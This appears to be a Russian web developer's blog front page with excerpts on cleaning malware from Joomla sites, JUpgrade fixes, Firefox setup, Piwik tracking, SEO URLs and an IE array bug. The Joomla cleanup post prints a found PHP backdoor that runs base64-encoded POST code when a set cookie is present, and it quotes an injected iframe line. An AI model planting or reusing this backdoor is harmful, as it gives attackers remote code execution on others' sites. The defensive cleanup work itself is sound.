Joomla удаление вирусов
Писал на тему удаления вирусов из Джумлы и ранее, но вопросов задавали много, поэтому разберу еще один случай со все тем же "iframe write вирусом" другой модификации. В этот раз, тревогу забил клиент, "слишком долго стал грузиться сайт на Джумле". Ни Яндекс, ни Гугл на тот момент вирусов на сайте не находили, версия с вирусом еще не проиндексировалась. Уважаю! Открыв первый попавшийся на глаза js, в конце файла я увидел ;document.write('<iframe src="http://gemexmud…
Далее расчехляем scan.php запускаем и наблюдаем то же самое более 300 js файлов. Картина привычная, я не стал лезть в логи сервера и сразу начал искать eval() и base64 в php файлах. Новый сюрприз. Файлов оказалось больше 50. eval() используют и некоторые стандартные модули Джумлы, но их немного. К тому же подозрительные файлы имели рэндомные названия из букв и цифр. Проверив несколько файлов я убедился, что они заражены. На это указывала инструкция
<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
echo '<textarea id=areatext>';
eval($msg);
echo '</textarea>bg';
exit;
}}
?>
JmodelLegacy – migration undefined
Для обновления Джумлы со старых 1.5 до 2.5 используют плагин JUpgrade. Редкостной кривизны модуль. Вначале выяснилось, что он скачивает с офф. сайта последнюю версию Джумлы 2.5.9 а работать умеет только с 2.5.4. Ну ладно. Находим нужную ему версию. Скачиваем, распаковываем в /jupgrade, ставим нужные галочки, чтобы плагин брал уже распакованую Джумлу и не дергался. Хех.
Все тормозится на этапе migration undefined . Включаем debug и видим длиннейшую простыню ошибок. В самом начале, что то вроде Fatal error: Class 'JModelLegacy' not found
Этой дурацкой ошибкой забиты все интернеты. На форуме разработчков JUpgrade ответа нет. Сплошное шаманство. Перепробовал все виды камланий, которые пришли в голову разработчикам и другим специалистам по Джумле, но победить проблему не удалось.
В результате пришлось идти своим путем. Раз уж это "JModelLegacy not found", то надо попробовать его воткнуть и помотреть, что получится. Находим файл legacy.php . Он находится в Joomle 2.5 в папке /libraries/cms/model/.
Копируем его в /jupgrade/installation/ . И правим 2 файла.
/jupgrade/installation/models/configuration.php
/jupgrade/installation/models/db.php
Добавляем require_once JPATH_INSTALLATION.'/legacy.php'; Где нибудь после jimport. Бинго! Инсталляция прошла на ура.
Firefox перенос настроек и оптимизация
Собрав новый комп начал настраивать рабочее окружение. Firefox у меня на старом компе обновляется еще с версии 2.хх. За это время ставились и удалялись аддоны, накатывались новые версии. Понятно, что несмотря на постоянную оптимизацию Firefox все тяжелел. Какой то мусор да остается. Поэтому я решил не пользоваться автоматическими средствами переноса настроек, поставить "голый" Огнелис и настроить с нуля.
Что обычно требуется сохранить:
- Настройки оптимизации Firefox
- Список ссылок в табах.
- Избранное, если есть. Я не пользуюсь. Его мне заменяют табы + Zotero
- Список аддонов
- Логины, пароли. Не пользуюсь. Заменяет Keepass.
- Поисковые плагины
- Настройки аддонов. Например база Zotero.
Как сохранить список ссылок в табах и список аддонов в Firefox?
Эти пункты решаются аддонами.
TabList 0.1.4 для сохранения табов,
Extension List Dumper 1.15.2 для сохранения списка аддонов.
Настройки оптимизации Firefox.
yml скрипт для Яндекс Маркета
Для выгрузки товаров в Яндекс Маркет из веб магазина в формате yml, есть наиподробнейший мануал. Тем не менее, частые заказы связаны с тем, что "программист взялся и yml написать осилил, но почему он не подходит Яндексу".
Мешает ограничение на 3 бесплатных проверки. Но елки палки, уж проверить то xml на валидность можно? Есть отличный онлайн сервис для проверки xml. Проверка в два этапа, сначала скармливаем yml, затем shops.dtd Это избавит от большей части ошибок. Перечислю самые частые.
Джумла поиск вирусов
По горячим следам, одной работы решил написать статью. Обратился заказчик. У него сайт на joomla 1.5. Yandex и Google ругаются на наличие вредоносного ПО на сайте. Джумла весьма рапространена в Рунете и не только, подобные заказы регулярно попадаются на freee-lance.ru, поэтому статья актуальна.
Далее опишу пошаговый перечень действий.
Как проверить на вирус онлайн?
Для начала выясним, был ли мальчик? Общую сводку можно посмотреть на http://www.virustotal.com . Этот сервис собирает данные со всех основных антивирусных и выдает подборку результатов сканирования. В подборке более 20 онлайн сервисов.
В моем случае известно, что yandex и google обнаруживают "Сайт может угрожать безопасности вашего компьютера или мобильного устройства".
Оптимизация сайтов под Retina
Сравнительно многие из новых устройств имеют Retina дисплеи. И это не только apple-device. Для владельцев сайтов, это новая головная боль. Причина? Количество физических пикселей на таких дисплеях больше чем виртуальных(пикселов в css). Проще всего это иллюстрирует картинка.
Т.е. имеющуюся в 2×2 px картинку, броузер вынужден масштабировать в 4х4 px. Выглядит это неаккуратно.

Как вы можете догадаться, слева картинка оптимизирована под Ретина, справа нет.
Настроить статистику в ЖЖ
Livejournal предоставляет довольно неудобную и куцую статистику. Поэтому возникает желание настроить в ЖЖ внешнюю статистику. Что нибудь вроде liveinternet или piwik. Для тех кто не знает, piwik это бесплатное , но мощное решение с возможностью установки на свой сервер. Мешает существенное ограничение, запрет на javascript в живом журнале. И найти как подключить графический счетчик непросто.
Проще всего с профилем жж. Ищем там ссылку о себе -> изменить. Туда легко воткнуть 1 пиксельную картинку от piwik.
<!-- Piwik Image Tracker -->
<img src="http://demo.piwik.org/piwik.php?idsite={$IDSITE}" style="border:0" alt="" />
<!-- End Piwik -->
Где $IDSITE номер вашего сайта в админке piwik. Далее в меню профиль-найстройки находим ссылку оформление журнала. Затем настроить свой стиль . Далее ищем в меню Отображение – Дополнительные настройки - Entry footer HTML . И помещаем туда, тот же код, что и в профиль. На этом все. Liveinternet настраивается аналогично.
Ну а раз мы забрались в оформление темы журнала, то можно решить и еще один вопрос.
Как убрать рекламу из своего ЖЖ?
Все там же в меню слева ищем Custom CSS . Добавляем строку.
/* reclame del http://fstrange.ru/coder/ */
.b-ljtimes-wrapper {display: none;}
#ad-leaderboard {display: none;}
#ad-5linkunit {display: none;}
.adv { display: none;}
Этим простеньким CSS мы скрываем всю рекламу в своем журнале.
О ЧПУ
Сведу имеющиеся знания в кучу.
Зачем он нужен? Прежде всего для SEO. Ну и к тому же ссылка легче для запоминания юзером.
Отсюда вытекают и требования.
- Максимальное вхождение ключевых слов
- Не более 80 символов(в некоторых источниках пишут 100, 150)
Остальные требования несущественны. Раньше поисковики недолюбливали кириллицу. Сейчас без разницы. Но стоит помнить, что кириллица кодируется в url несколькими символами, а это длиннее. Если же использовать латинские символы то можно и транслит и перевод. И Google и Yandex отлично понимают оба варианта.
Окончание ссылки .html, или .php? Опять таки поисковикам без разницы, лишь бы правило был указан MIME тип доккумента. Можно и без расширения .html , что на 5 символов короче.
Разделитель подчеркивание или дефис? И это несущественно.
IE array length undefined
Столкнулся с занимательным багом в ИЕ.
Массив в Javascript – обычный объект. array.length – свойство. Как оказалось оно может быть undefined для обычного масссива. Использовал аналог php функции array_unique отсюда. Функция отлично отрабатывала в 3 броузерах FF, Chrome, Opera и споткнулась на IE8. Массив обычный 4 элемента {'','app=search','cate_id=208','cate_id=208'}. После выполнения array_unique удалился 3 элемент, как положено.
Первое что меня удивило, array.join() вызвал ошибку. Я первоначально грешил на IE, потом на пустую строку в первом элементе. Потом обнаружил что не работают push и pop. Опытным путем выяснил что length стал undefined. Вот эта замечательная функция.
function array_unique (inputArr) {
var __array_search = function (needle, haystack) {
var fkey = '';
for (fkey in haystack) {
if (haystack.hasOwnProperty(fkey)) {
if ((haystack[fkey] + '') === (needle + '')) {
return fkey;
}
}
}
return false;
};
for (key in inputArr) {
if (inputArr.hasOwnProperty(key)) {
val = inputArr[key];
if (false === __array_search(val, tmp_arr2)) {
tmp_arr2[key] = val;
}
}
}
return tmp_arr2;
}
Обновление free-lance.ru
О последнем обновлении free-lance.ru не писал только ленивый. Желание заработать понятно и естественно. Но задевают некоторые вещи.
1. Убрали контакты. Понятно, когда это делается в проекте. Обеими руками за.
Но заставлять общаться с заказчиком\исполнителе исключительно через их убогую систему сообщений?
Такого маразма нет нигде.
2. Из слов администрации следует, что переписка будет под тотальным контролем. Дабы кто контакты не кинул. А как быть с оригинальными идеями, стартапами, какими то приватными данными? Надо ли оно заказчику?
3. Тотальная работа через СБР убивает мелкого заказчика.
4. Из портфолио, дизайнеров заставляют убирать копирайт содержащий ссылки или контакты.
Для себя решил, надо полностью переходить на зарубеджные биржи. Пока же http://www.free-lance.ru/users/fstrange/
Список сайтов для фриланса
Pages
Recent Posts
- Joomla удаление вирусов
- JmodelLegacy – migration undefined
- Firefox перенос настроек и оптимизация
- yml скрипт для Яндекс Маркета
- Джумла поиск вирусов
Tags
Популярно
- Оптимизация работы Firefox 10,578 view(s)
- AddThis – социальные кнопки 9,230 view(s)
- Vkontakte авторизация на php 8,854 view(s)
- Кодировка, кракозяблы 7,635 view(s)
- Как настроить MTU 7,056 view(s)
- Авторизация VKontakte 7,019 view(s)
Recent Comments
- Алексей Рыбак on Joomla удаление вирусов
- fStrange on Joomla удаление вирусов
- Дмитрий on Сколько можно заработать на блоге?
- Алексей Рыбак on Joomla удаление вирусов
- fStrange on Joomla удаление вирусов

admin
